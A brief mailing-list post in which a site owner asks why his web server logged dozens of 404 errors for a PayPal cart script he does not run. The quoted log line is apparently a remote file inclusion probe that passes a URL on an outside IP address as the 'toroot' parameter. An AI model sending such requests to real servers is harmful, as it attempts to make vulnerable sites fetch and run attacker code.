404 messages pointing to a strange location

[Simon <sunsetpicture () gmail com>]

Hi all,

Yesterday evening I had lots of 404-messages from my web server, all 
pointing to locations like
http://foo.bar/something//ee_commerce/paypalcart.php?toroot=http://220.134.244.157/xoops/templates_c/id3.txt?
I don't use paypal or anything similar on my page; what does that mean?

I'm wondering because this messages came in only yesterday before midnight, 
several dozens.

thanks,
Simon

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